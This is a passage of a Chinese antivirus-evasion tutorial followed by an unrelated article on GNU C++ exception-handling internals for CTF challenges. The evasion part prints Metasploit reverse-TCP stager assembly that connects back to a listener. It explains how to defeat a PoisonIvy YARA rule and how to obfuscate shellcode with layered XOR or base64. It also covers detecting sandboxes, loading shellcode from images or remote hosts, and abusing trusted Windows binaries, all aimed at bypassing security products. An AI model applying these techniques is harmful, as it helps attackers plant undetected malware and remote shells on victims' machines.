; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call rbp ; WSAStartup( 0x0101, &WSAData );
; perform the call to WSASocketA...
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
; perform the call to connect...
push byte 16 ; length of the sockaddr struct
pop r8 ; pop off the third param
mov rdx, r12 ; set second param to pointer to sockaddr struct
mov rcx, rdi ; the socket
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call rbp ; connect( s, &sockaddr, 16 );
; restore RSP so we dont have any alignment issues with the next block...
add rsp, ( (408+8) + (8*4) + (32*4) ) ; cleanup the stack allocations
可以看到调用了两个dll，ws2_32.dll（实现socket通信，建立攻击机与目标机器的连接），kernel32.dll（内核级别的dll，存放在C:\windows\system32文件夹中，它控制着系统的内存管理、数据的输入输出操作与中断处理，当Windows启动时，kernel32.dll就驻留在内存中特定的写保护区域，使别的程序无法占用这个内存区域）
重点查杀
`mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )`
为什么？还不是因为它功能强大，是很多病毒爱好者的得力助手，所以被各大杀软盯的很死。
同样，cs中的两个特征
1.profile中的stage，我这里拿到的是apt的样本，可以看到是加密混淆后的
2.导出函数 ReflectiveLoader也是在杀软的豪华套餐上的，它是用来导出反射注入的dll，可以修改这个导出函数的名称来进行绕过。
（程序运行时将exe、dll文件加载到内存并执行一些操作的过程，这个过程称为反射，它的优点是不落盘，直接载入目标内存中执行
，dll放在server端，目标通过下载器直接加载到内存中执行）通常这种反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。
ps: 关于更多分析cobalt strike，大家可以去网上看各种魔改的文章。
##### yara规则：
meta:
description = "PoisonIvy RAT Generic Rule"
license = "https://creativecommons.org/licenses/by-nc/4.0/"
author = "Florian Roth"
date = "2015-05-14"
hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
strings:
$k1 = "Tiger324{" fullword ascii
$s2 = "WININET.dll" fullword ascii
$s3 = "mscoree.dll" fullword wide
$s4 = "WS2_32.dll" fullword
$s5 = "Explorer.exe" fullword wide
$s6 = "USER32.DLL"
$s7 = "CONOUT$"
$s8 = "login.asp"
$h1 = "HTTP/1.0"
$h2 = "POST"
$h3 = "login.asp"
$h4 = "check.asp"
$h5 = "result.asp"
$h6 = "upload.asp"
condition:
uint16(0) == 0x5a4d and filesize < 500KB and
(
$k1 or all of ($s*) or all of ($h*)
)
}
简单分析下这段yara规则，标记了hash，最终的匹配规则是 `文件大小在500kb以内 并且满足 $k1/all $s/all $h
中的任意一条`，即被认定是病毒。这时候就可以根据破坏相应的规则，比如大小改为500kb+，不去调用相应的dll等来 bypass。
### 静态免杀方法:
针对静态查杀的原理，匹配对应的特征试别为病毒，那么我们让杀软试别不出这是病毒不就可以了。给出最简单的两种方式：
##### MYCCL查找特征码修改：
找到杀软查杀的特征码，修改，替换，编码等等在不影响程序运行的情况下，把特征码改的面目全非，删掉也可以。
这个工具算是很老的了，具体使用方法不再阐述。
这里是针对查杀的字符串进行拆分替换。
但是这种定位特征码的办法只能针对本地病毒库，面对云查杀会束手无策，云查杀会产生越来越多的特征码，这种情况可以改为内存加载，在内存里面做免杀，或者利用白加黑…….
##### 对shellcode进行加密编码
一些编码方法
1、在特定位置添加垃圾字节
2、使用硬编码的单字节密钥对字节进行XOR或者加减法运算
3、将字节移位某些特定位置
4、交换连续字节
涉及到一些密码学的知识，非对称加密比对称加密效果要好，自己可以定义私钥，个人最喜欢异或，简单有效。
比如这里，先对shellcode进行一层异或加密生成decode_shellcode，然后再encode
执行。当然现在这么简单的异或已经不行了，可以多层异或，多个key，改的他妈都不认识。将shellcode写入内存的方法也是多种多样，下文中有提到，这里只讨论加密混淆。当然也可以使用其他加密方式，思路都一样的嘛
下面是GitHub的一个用 base64
混淆的项目，简单说就是将shellcode多层base64编码后，再加载执行，这里加载执行写入内存的方式也是最简单的加载方式。想要效果更好，可以用更强的加密方式，更隐蔽的将shellcode写入内存的方式。
可以看看效果
小红伞没有识别出，所以给了警告。
附：现在很多杀软也会针对 sleep 函数进行识别，一般正常的文件执行不会sleep，这时候杀软不得注意一下？
### 0x02 动态查杀（主动防御）
动态查杀指的是 程序在运行的过程中执行了某些敏感操作，导致杀软查杀。
谈到动态查杀不得不提一个东西叫沙盒。
沙盒：也叫启发式查杀，通过模拟计算机的环境执行目标文件再观察特征行为
沙盒模拟的常见特征：
特征 | 原因 | bypass
---|---|---
内存较小 | 不影响计算机正常运行 | 检测计算机内存是不是很小(判断是否是真实计算机)
时间较快 | 沙盒内置的时间速度比现实世界要快，提高查杀速度，沙盒中的时间流逝很快 | c语言函数判断1s是否有1000ms/判断是否是utc时间
进程或文件不完整 | 减少杀毒软件运行时对计算机的消耗 | 判断操作系统进程的个数/调用不可能存在的文件
io设备缺失 | 鼠标键盘等事件大部分沙盒都没有 | 检测驱动 usb等/判断鼠标的移动速度等
其实主要就是找一台真实的计算机和沙盒的区别到底在哪，找到那些真实的计算机具有而模拟的计算机无法具有的特征，进行绕过即可，思路很简单，也很广，自己拓展会发现更多有意思的点。
下面说一下杀软监控动态查杀的点：
#### 计算机相关
1. 系统服务（指的是这些）
1. 注册表（键值） 修改注册表的行为一般都是敏感行为（高危添加用户、删除用户，没有十足把握bypass，还是算了）
2. 组策略
3. 防火墙
4. 敏感程序（cmd powershell wmi psexec bitsadmin rundll 等）
5. 各种 win32api
这里强调一下，监控进程调用的api不止是api名字，还包括api的 调用顺序、调用源、参数等等 。 相应的bypass，
用实现同样功能的api替换
重写对应的api
调用0环的api绕过3环杀软
等等，肯定不止这些， 说起来很容易，但具体实现需要很深的底层功底，起码对Windows操作系统的底层实现，win32api等很熟悉，这就需要内功。
6. 文件夹
C:/windows/system32
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\tmp等敏感文件夹（cs、msf都会在tmp文件夹下生成一些东西）
**绕过** ：`白加黑`
算是一个很好的方法，指的是利用Windows系统的一些白文件去执行相应的敏感操作，就不会触发杀软警告，想一想，有哪个普通的程序去执行添加用户的操作呢？
说到底，白加黑解决的是 Windows里面 `信任与权限`的问题，Windows
都相信你，它一个杀软有什么办法，权限指的是你的权限是否比杀软的权限高，如果你在0环，杀软在3环，它也没有权限来管你，更不用说kill。
#### 网络相关
1. **流量特征** : cobalt strike 的通信协议，是由 RSA 传输 AES 的密钥，AES的密钥加密后续通信，这也是c2的常规通信手法，但未经修改的profile 和证书，很容易被检测到。
2. **内容特征** ：data字段是否存在命令相关的关键词加密特征（payload是否通讯加密，明文传输就会被查杀）
3. **结构特征** : 是否存在已知远控的通讯结构（ cs 中 beacon 有 sleep）
4. **IP** : 是否被情报系统标记为恶意
**绕过** :
* tcp分段：指的是数据包在传输过程中切分后以小段传输(效果也不错，但是网络连接不好很容易断掉)
* 内容加密：针对传输的内容，比如那些执行命令的字符串等等，加密混淆，加密还是不要用简单的编码，你简单的base64编码一下，杀软、edr等还是可以检测到，最好用非对称加密
* 使用合法证书 ： 这个自己找渠道获得吧……
### payload基本结构
**分段传输** :
eg:
msfvenom 的`meterpreter/reverse_https`模块
stager：
stage0：初始shellcode（通常称为 _stage0_
）会创建一个新的连接到攻击者的机器并将更大的有效载荷（stage1）读入内存。收到有效载荷后，stage0 会将控制权交给新的更大的有效载荷。stage0
只负责建立通信连接，不能够执行命令(getuid、getsystem等)
stage1（metsrv）：stage0执行完后发送stage1到目标机器并写入内存，弹回meterpreter会话，我们在meterpreter里执行的命令，还有加载的模块（load
kiwi等）都是stage1的功劳
这里 Sending stage （175174 bytes） 可以看到体积比较大，就是stage1
很多分段加载骚思路也是基于stager来实现，初始投递的文件非常小，载入内存后，在内存中解密加载
加载器，然后加载器再解密加载shellcode。具体实现方法也多种多样，各种语言，c#，go等。
**整段传输** ：
一次性发送很大的stage
`meterpreter_reverse_https`
stageless：
建立通信连接+执行命令
可以看到两种stage的体积差别
显然这种效果不如stager的效果好。
再简单看一下stager的汇编，不需要全部看懂，只有这么多代码，找到关键的功能
`try_connect`
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
set_address:
push byte 0x05 ; retry counter
push 0x0100007F ; host 127.0.0.1
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save pointer to sockaddr struct
try_connect:
push byte 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz short connected
handle_failure:
dec dword [esi+8]
jnz short try_connect
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
connected:
因此可以看出stager仅仅是连接功能，而不能够进行其他操作。可以自己去GitHub找msf的模块来对比，文末也会放上链接。
还要提一点：msf加载的各种命令 比如powershell kiwi这种，是各种反射注入的dll，反射注入到执行的进程上
其中的msf中的`进程迁移`：是在无文件落地的情况下，将内存中的shellcode注入到其他进程。
关于无文件落地，比较复杂，我太菜了，等研究到再单独写一篇…
下面说一点免杀的方法和思路：
### 分离免杀
因为shellcode在程序里面很容易被查杀，像下面是最常用的加载shellcode的方式，内联汇编执行，函数指针执行，强制转换等等，当然很明显，这几种现在都是不免杀的。
要提一下内联汇编中的 `_emit 0xff _emit 0xE0`是硬编码执行，与 `jmp eax /call
eax`的作用是一样的，网上有很多文章说是花指令，用来干扰杀软的，但在我实际测试中，删掉是无法加载shellcode的。
这里的分离免杀是用 msfvenom 生成一段raw格式的shellcode 放在 png 图片里，然后加载器 将shellcode写入内存中
经测试，可以简单的过掉火绒，360没有测试，会被小红伞杀。因为这里将shellcode写入内存的方式还是前面说的最简单的方式，换橙其他加载方式，应该也是可以过掉的。
分离免杀包括但不限于
shellcode从文本提取
shellcode与加载器分离
远程加载shellcode（shellcode放在另一台主机上，走http协议下载）
管道运输
隐写在图片上，powershell加载
具体的其他分离免杀可以去网上找对应的实现，这里仅仅介绍并提供思路。
当然传统的这些函数早已被杀软加入豪华套餐
WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpQueryDataAvailable
WinHttpReadData
WinHttpCloseHandle
但幸运的是，Windows 提供了许多不同的库，可用于下载数据，例如`winInet、WinHTTP 和 Windows
Sockets`。通过切换到更加手动的基于套接字的实现 ，如果使用这些第三方库或使用系统自带的下载命令，被杀软查杀的概率会小很多。
**其他免杀思路**
远程线程注入远程加载管道传输白加黑父进程调用子进程
等等，还有其他骚思路……万变不离其宗
### 总结
做免杀，首先要原理烂熟于心，得知道为什么会被杀，杀的哪里，才有目的的去做，而不是啥都不懂，就去盲杀（在不清楚杀软规则好像也只能这样… 但是效率很低嘛）
前面也介绍了各种免杀的思路，可以自己去扩充，上面主要是基于c/cpp来实现，也可以用其他语言 powershell
/c#/go/nim/python等来实现。方法还是很多的，但前提是要有一定的底层知识储备。
下面两张图刚开始看会觉得很空，但仔细研究会发现做免杀就是根据这个步骤来的，整个流程很清晰，只不过在实现的过程中需要大量的底层知识来支撑罢了。
希望可以给大家带来一点帮助，祝大家早日拳打火眼，脚踢卡巴斯基，bypass全球杀软~
参考链接：
[恶意程序编写之免杀基础 - SecPulse.COM |
安全脉搏](https://www.secpulse.com/archives/132175.html)
[免杀的艺术：PE文件后门的植入（二） - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/25894246)
<https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm>
<https://blog.f-secure.com/dynamic-shellcode-execution/>
<https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/> | 社区文章 |
近期各大CTF中出现过不少C++异常处理机制相关的赛题。本文将介绍GNUC++异常处理的基本机制、可执行文件中的异常处理帧结构、以及`__gxx_personality_seh0`对Language-specific handler data 数据的解析过程。
### CPP 异常处理概述
c++中，异常处理的实现主要是要处理两件事：
1. 根据抛出的异常找到合适的异常处理代码（即，捕获对应类型异常的`catch` 块）。
2. 当抛出异常的函数无法处理被抛出的异常时（如下面的`doThrow`函数），需要合理清理当前栈帧上的对象，回退栈帧到上一层函数（清理栈上对象可能需要返回到对应函数内执行一些 `cleanup` 块）。
并继续在上层函数内寻找异常处理代码。如此递归向上回滚栈帧直到栈帧为空或找到可以处理当前异常的`catch`块。
以下面的程序为例：
// g++ -std=c++11 test.cc -o test.exe
#include <iostream>
#include <exception>
#include <cstring>
using namespace std;
struct ExceptionA : public exception
{
ExceptionA(int a, int b):a(a),b(b){}
int a, b;
};
struct ExceptionB : public exception
{
ExceptionB(int a, int b) {}
};
struct ExceptionC : public exception
{
ExceptionC(int a, int b) {}
};
class Strobj {
public:
Strobj()=delete;
Strobj(char *a) {
int len = strlen(a);
str_ = new char[len+1];
strcpy(str_, a);
}
char *str_;
};
Strobj doThrow(bool doth) {
int a = 1, b = 2;
Strobj oops("123456");
if (doth)
throw ExceptionA(a, b);
return oops;
}
int main()
{
try
{
Strobj a = doThrow(true);
std::cout << a.str_ << std::endl;
}
catch(ExceptionC& e)
{
std::cout << "ExceptionC caught" << std::endl;
}
catch(ExceptionB& e)
{
std::cout << "ExceptionB caught" << std::endl;
}
catch(ExceptionA& e)
{
std::cout << "ExceptionA caught" << std::endl;
}
catch(std::exception& e)
{
}
}
当程序在`doThrow`函数内抛出异常时，C++ Runtime
会检测`doThrow`函数内是否存在能处理该异常的异常处理代码（即，能捕捉对应异常类型的`catch`块），如果不存在，函数将不再正常运行，而是返回上一级，此时需要：
1. 清理栈上的 `oops` 对象，执行其析构函数；
2. 回退栈帧，（恢复寄存器，至少恢复 `rbp`、`rsp`）；
代码编译过程较为复杂，我们可以通过逆向最终编译生成的文件理解其实现。
如上图，程序在 `__cxa_throw` 处抛出异常，进入 C++ Runtime 代码。Runtime 判断当前函数不存在对应的 `catch`
块（所以栈帧应该回滚到上层），但存在一个需要执行的 `cleanup`
块（抛出异常时，栈上存在一个存活的对象，在栈帧回滚时需要做析构）；此时，Runtime 会首先进入 `cleanup` 块，在 `cleanup`
块的末尾，通过`_Unwind_Resume` 来重启异常处理。
`_Unwind_Resume` 之后，栈帧回滚到`main`函数。如下图，在 C++
中对应同一个`try`块的连续的多个`catch`块编译后组成一个`catch`块群。从相应`try`块中抛出的异常，在Runtime确信这个异常能被这个`catch`块群中的某个`catch`块处理的情况下，首先进入`catch`块群的起始地址，再根据抛出的异常的类编号进行分发。类编号在从异常返回到`catch`块时存储在`rdx`寄存器中。此外，rax
指向被抛出的异常对象。
在此例中，Runtime 接着搜索 `main` 函数中`0x4015A0: call
doThrow`所在的`try`块对应的的异常处理块们（`catch` 块），找到了能处理`ExceptionA`的 `catch`
块地址（`0x401630`）以及相应的类编号（在本例中，编号为3）。在分发后，跳转到了 `0x4016D0` 处。
### Itanium C++ ABI 异常处理框架
本节参考 [Itanium C++ ABI: Exception Handling ($Revision: 1.22
$)](https://itanium-cxx-abi.github.io/cxx-abi/abi-eh.html)
GNUC++ 的实现的是 Itanium C++ ABI 这一套接口。Mingw++ 大概用的是 GNUC++ 这一套 Runtime ，异常处理流程与
Itanium C++ ABI 描述一致，但编译后的二进制文件格式又部分采用了 VC 的设计（逆向编译后的二进制文件观察到的，说法不一定正确）。
Itanium C++ ABI 中，异常处理由通用的（指适用于支持多种上层语言的）异常处理库 libunwind 和 建立在libunwind
之上的专注于处理 C++ 异常处理逻辑的 libc++ 异常处理模块 两部分组成。其中， _libc++ 提供了一个针对特定编译实现的
`personality` 函数，它能解析特定的异常处理相关的数据结构，告诉 libunwind 某个函数是否包含某个特定的 `catch` 块或者
在回滚栈前是否需要先进入某些 `cleanup` 块清理栈上对象_ 。而 libunwind 提供了异常处理框架的实现，并在某些时刻调用
`personality` 函数获取决策信息。
Itanium C++ ABI 中，对 libunwind 实现的异常处理流程描述如下：
> ### The Unwind Process
>
> The standard ABI exception handling / unwind process begins with the raising
> of an exception. This call specifies an exception object and an exception
> class.
> The runtime framework then starts a two-phase process:
>
> * In the search phase, the framework repeatedly calls the personality
> routine, with the _UA_SEARCH_PHASE flag, first for the current PC and
> register state, and then unwinding a frame to a new PC at each step, until
> the personality routine reports either success (a handler found in
> thequeried frame) or failure (no handler) in all frames.
> It does not actually restore the unwound state,and the personality routine
> must access the state through the API. If the search phase reports failure,
> e.g. because no handler was found, it will call terminate() rather than
> commence phase 2.
> * If the search phase reports success, the framework restarts in the
> cleanup phase.
> Again, it repeatedly calls the personality routine, with the
> _UA_CLEANUP_PHASE flag, first for the current PC and register state, and
> then unwinding a frame to a new PC at each step, until it gets to the frame
> with an identified handler.
> At that point, it restores the register state, and controlis transferred to
> the user landing pad code.
>
简单来说，异常处理流程就是向上搜索栈帧，找到相应异常处理函数，然后跳转过去的流程。它分为两个阶段，阶段一是只搜索栈帧，寻找是否存在能`catch`当前异常的处理代码，如果不存在，就调用
`terminate` 函数结束程序的运行。如果找到了，进入阶段二。在阶段二，开始真正回滚栈帧，调用 `cleanup` 块清理栈上局部对象，
直到回滚到存在相应异常处理代码的那个函数，跳转到对应的`catch`块。
### GNUC++ 异常对象的数据结构
// Memory layout:
// +---------------------------+-----------------------------+---------------+
// | __cxa_exception _Unwind_Exception | thrown object |
// +---------------------------+-----------------------------+---------------+
struct _Unwind_Exception {
uint64 exception_class; // GNUC++下， = 0x434C4E47432B2B00 ("CLNGC++\0")
_Unwind_Exception_Cleanup_Fn exception_cleanup;
uint64 private_1;
uint64 private_2;
};
struct __cxa_exception {
std::type_info * exceptionType;
void (*exceptionDestructor) (void *);
unexpected_handler unexpectedHandler;
terminate_handler terminateHandler;
__cxa_exception * nextException;
int handlerCount;
int handlerSwitchValue;
const char * actionRecord;
const char * languageSpecificData;
void * catchTemp;
void * adjustedPtr;
_Unwind_Exception unwindHeader;
};
上面是一个 C++ 异常对象的内存布局示意图。其中，`thrown object` 部分为用户自定义的异常信息，如本文例子中 `ExceptionA`
对象。`__cxa_exception`和`_Unwind_Exception`分别是 libc++abi 和 libunwind 层定义的对象。创建一个
`ExceptionA` 异常处理对象需要如下两步：
第一步`cxa_allocate_exception`先申请 大小为 `sizeof(__cxa_exception) +
sizeof(ExceptionA)` 的内存空间（记为 `buf`），然后在`buf`前 `sizeof(__cxa_exception)`
大小的空间上初始化 `__cxa_exception` 对象，最后 `return buf + sizeof(__cxa_exception)`。
第二步调用`ExceptionA`的构造函数，在 `buf` 后 `sizeof(ExceptionA)` 大小的空间上初始化 `ExceptionA`
实例。
通过这样的内存布局，在知道`__cxa_exception`、`_Unwind_Exception`两个对象中任意一个对象地址的情况下，可以仅通过加减运算得到另外两个对象的地址。
注：上面的内存布局是简化版本的，实际上`_Unwind_Exception`长度是可变的（视`exception_class`成员值而定），通过`__cxa_exception`或`_Unwind_Exception`对象得到`thrown
object`的标准做法是读取`__cxa_exception`的`adjustedPtr`成员变量 ，而 `adjustedPtr` 的值在 C++
Runtime 代码中计算得到。
### 异常处理帧
这一部分内容与平台相关，比如Windows下的MSVC、Mingw-g++实现的是同一套格式。本节将对 Windows 下的 EXE
格式中的异常处理帧作一个简单的介绍。Linux平台下 ELF 文件的异常处理相关数据结构可以移步：[ **Linux Standard Base Core
Specification, Generic Part-Exception
Frames**](https://refspecs.linuxbase.org/LSB_5.0.0/LSB-Core-generic/LSB-Core-generic/ehframechpt.html)。
MSVC++或者Mingw-g++编译的 EXE 文件中一般会存在 `.pdata` 段，并且在段内有一个`Runtime_Function` 表。通过
`RUNTIME_FUNCTION` 结构，我们可以找到每个函数对应的 `UNWIND_INFO`
结构体对象。这个结构存储着对应函数异常处理相关的信息，包括函数中存在哪些`try`块，在这些`try`块中抛出异常后回滚栈帧需要调用的`cleanup`块们和可能可以处理异常的`catch`块们，以及函数序言中对栈做了哪些操作（回滚恢复到上层栈帧所需]）等。
`UNWIND_INFO` 结构体可以参考 [struct-unwind_info](https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170#struct-unwind_info) 。
下面是本文例子中 `main` 函数的 `UNWIND_INFO` 的部分结构体：
其中，最关键的是 从 `0x4070C8` 开始的 `Exception Handler` 结构体，它有两个成员：
1. `0x4070C8` 处的 `Address of exception handler` 和
2. `0x4070CC` 开始的 `Language-specific handler data (optional)`
我们看到本例中异常处理采用的 `personality` 函数是
`__gxx_personality_seh0`，这与GNUC++的实现一致。这是因为上图中的二进制文件由 mingw-g++ 编译，而
mingw-g++实现的是 GNUC++ 那一套ABI。而 `Language-specific handler data` 的具体结构还不得而知。
### Language-specific handler data 解析
在第二节中，我们提到 Runtime 中负责解析 异常处理相关的数据结构 的函数正是 `personality` 函数。可以通过阅读
`__gxx_personality_seh0` 函数的实现来帮助我们解析这里的 `Language-specific handler data` 。
在此之前，我们先来看看指向 `Language-specific handler data` 的指针是如何被传递给 `personality`
函数的，方便我们在 `personality` 函数的实现中找到对应的解析代码。首先是 `personality` 函数的声明：
typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
IN ULONG64 EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
第四个参数是 `DispatcherContext` 结构体，这个结构体是这样的：
typedef struct _DISPATCHER_CONTEXT {
ULONG64 ControlPc;
ULONG64 ImageBase;
PRUNTIME_FUNCTION FunctionEntry;
ULONG64 EstablisherFrame;
ULONG64 TargetIp;
PCONTEXT ContextRecord;
PEXCEPTION_ROUTINE LanguageHandler;
PVOID HandlerData;
} DISPATCHER_CONTEXT, *PDISPATCHER_CONTEXT;
其中，`HandlerData` 指针正好指向 `language-specific handler data` （这里同样参考微软文档[Language-specific handler](https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170#language-specific-handler)）。
在 `llvm-project` （LLVM 与 GNUC 实现的是同一套 Runtime）中，`__gxx_personality_seh0` 的实现在
[libcxxabi\src\cxa_personality.cpp](https://github.com/llvm/llvm-project/blob/4cd6ca102a94e1b64ba3f940cc26b4d7b2b82964/libcxxabi/src/cxa_personality.cpp#L951)
文件里。如下：
extern "C" _LIBCXXABI_FUNC_VIS EXCEPTION_DISPOSITION
__gxx_personality_seh0(PEXCEPTION_RECORD ms_exc, void *this_frame,
PCONTEXT ms_orig_context, PDISPATCHER_CONTEXT ms_disp)
{
return _GCC_specific_handler(ms_exc, this_frame, ms_orig_context, ms_disp,
__gxx_personality_imp);
}
其中，_GCC_specific_handler 的实现在 [libunwind\src\Unwind-seh.cpp
](https://github.com/llvm/llvm-project/blob/fc5e68fab965bdc8fdf6db9ae2603f9dd02dec5b/libunwind/src/Unwind-seh.cpp#L59) 中。它对 `__gxx_personality_imp` 做了一层封装，处理一些外部逻辑。接着进入
[libcxxabi\src\cxa_personality.cpp:__gxx_personality_imp](https://github.com/llvm/llvm-project/blob/4cd6ca102a94e1b64ba3f940cc26b4d7b2b82964/libcxxabi/src/cxa_personality.cpp#L881)，它又是对
[libcxxabi\src\cxa_personality.cpp:scan_eh_tab](https://github.com/llvm/llvm-project/blob/4cd6ca102a94e1b64ba3f940cc26b4d7b2b82964/libcxxabi/src/cxa_personality.cpp#L563)
函数的一层封装。
`scan_eh_tab` 负责真正解析异常处理数据结构，是关键函数（下文给出一个解析`lsda`的例子，建议打开上面的链接对着源代码看）。在 605
行，`scan_eh_tab` 首先通过 [`_Unwind_GetLanguageSpecificData`
](https://github.com/llvm/llvm-project/blob/fc5e68fab965bdc8fdf6db9ae2603f9dd02dec5b/libunwind/src/Unwind-seh.cpp#L417)取出了指向 `Language-specific handler data` 的指针，并赋值给`lsda`变量，本例中 `lsda
= (uint8_t*)0x4070CC`。
首先，执行 `uint8_t lpStartEncoding = *lsda++;` 与 `const uint8_t* lpStart = (const
uint8_t*)readEncodedPointer(&lsda, lpStartEncoding);` 获取 `lpStartEncoding` 和
`lpStart`，前者的值为 0xFF，对应 `DW_EH_PE_omit`。故而`readEncodedPointer` （实现如下）直接返回 0。
static
uintptr_t
readEncodedPointer(const uint8_t** data, uint8_t encoding)
{
uintptr_t result = 0;
if (encoding == DW_EH_PE_omit)
return result;
const uint8_t* p = *data;
// first get value
switch (encoding & 0x0F)
{
case DW_EH_PE_absptr:
result = readPointerHelper<uintptr_t>(p);
break;
case DW_EH_PE_uleb128:
result = readULEB128(&p);
break;
case DW_EH_PE_sleb128:
result = static_cast<uintptr_t>(readSLEB128(&p));
break;
case DW_EH_PE_udata2:
result = readPointerHelper<uint16_t>(p);
break;
case DW_EH_PE_udata4:
result = readPointerHelper<uint32_t>(p);
break;
case DW_EH_PE_udata8:
result = readPointerHelper<uint64_t>(p);
break;
case DW_EH_PE_sdata2:
result = readPointerHelper<int16_t>(p);
break;
case DW_EH_PE_sdata4:
result = readPointerHelper<int32_t>(p);
break;
case DW_EH_PE_sdata8:
result = readPointerHelper<int64_t>(p);
break;
default:
// not supported
abort();
break;
}
// then add relative offset
switch (encoding & 0x70)
{
case DW_EH_PE_absptr:
// do nothing
break;
case DW_EH_PE_pcrel:
if (result)
result += (uintptr_t)(*data);
break;
case DW_EH_PE_textrel:
case DW_EH_PE_datarel:
case DW_EH_PE_funcrel:
case DW_EH_PE_aligned:
default:
// not supported
abort();
break;
}
// then apply indirection
if (result && (encoding & DW_EH_PE_indirect))
result = *((uintptr_t*)result);
*data = p;
return result;
}
紧接着读取 `ttypeEncoding`： `uint8_t ttypeEncoding = *lsda++;` 与
`classInfoOffset`，其中 `readULEB128` 定义如下：
static
uintptr_t
readULEB128(const uint8_t** data)
{
uintptr_t result = 0;
uintptr_t shift = 0;
unsigned char byte;
const uint8_t *p = *data;
do
{
byte = *p++;
result |= static_cast<uintptr_t>(byte & 0x7F) << shift;
shift += 7;
} while (byte & 0x80);
*data = p;
return result;
}
直到 660 行完成 `lsda header` 的读取，解析如下：
接着，开始解析 `callSiteTable`，这个表中的每项对应函数内的一个 `try` 块。每一项由
`start`、`length`、`landingPad`、`actionEntry` 四个成员组成，前三项的编码格式由
`callSiteEncoding` 指定，最后一项固定为 `ULEB128`，解析代码如下：
uintptr_t start = readEncodedPointer(&callSitePtr, callSiteEncoding);
uintptr_t length = readEncodedPointer(&callSitePtr, callSiteEncoding);
uintptr_t landingPad = readEncodedPointer(&callSitePtr, callSiteEncoding);
uintptr_t actionEntry = readULEB128(&callSitePtr);
本例中，callSiteEncoding 方式也是 ULEB128，其中第一项解析结果如下：
对应 try 块：
对应 landingPad 起始地址：
对应的 actionEntryItem 的起始地址：
actionEntry 以单向链表结构存储。每个 actionEntry 有 ttypeIndex 与 actionOffset 两个成员，均是
`SLEB128` 格式的。actionOffset 指示下一个 actionEntry 相对当前地址的偏移。比如 0x40710F 开始的
actionEntry 链是 0x40710F -> 0x40710D -> 0x40710B -> 0x407109。每个大于 0 的
ttypeIndex 则通过 classInfo 表对应到一个类的 typeinfo 对象。
在最简单的情况下，判断当前 `try` 块对应的 `catch`块群 是否有能力处理某个特定类型的异常时，程序会遍历 actionEntry 链表，对每个
ttypeIndex ，找到对应的 typeinfo 类（记为 `catchType`），并判断 `catchType`能否捕捉到抛出的异常，即
`catchType->can_catch(excpType, adjustedPtr)`，若能，则保存 ttypeIndex 到 results
结构体，并设置 `results.reason = _URC_HANDLER_FOUND` 指示找到了异常处理函数。
static
intptr_t
readSLEB128(const uint8_t** data)
{
uintptr_t result = 0;
uintptr_t shift = 0;
unsigned char byte;
const uint8_t *p = *data;
do
{
byte = *p++;
result |= static_cast<uintptr_t>(byte & 0x7F) << shift;
shift += 7;
} while (byte & 0x80);
*data = p;
if ((byte & 0x40) && (shift < (sizeof(result) << 3)))
result |= static_cast<uintptr_t>(~0) << shift;
return static_cast<intptr_t>(result);
}
